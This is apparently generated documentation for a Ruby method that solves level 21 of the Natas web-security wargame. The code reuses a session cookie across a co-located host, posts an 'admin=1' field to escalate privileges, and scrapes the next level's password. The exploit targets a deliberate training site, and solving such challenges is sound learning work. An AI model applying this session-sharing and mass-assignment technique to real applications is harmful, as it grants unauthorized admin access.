class NatasLevel21

Level 21

Constants

EXP_HOST
LEVEL
PAGE

Public Instance Methods

exec() click to toggle source
# File lib/natas.rb, line 640
def exec
  response = get(PAGE)
  cookie = response['Set-Cookie']
  session_id = cookie.split('; ').first
  client = Net::HTTP.new(EXP_HOST, PORT)
  request = Net::HTTP::Post.new(PAGE, { 'Cookie' => session_id })
  request.basic_auth(@login, @password)
  request.set_form(
    {
      'admin' => 1,
      'submit' => 'Update'
    }
  )
  client.request(request)
  data = get(PAGE, { 'Cookie' => session_id }).body
  match = %r(Password: (\w{32})</pre>).match(data)
  not_found unless match
  found(match[1])
end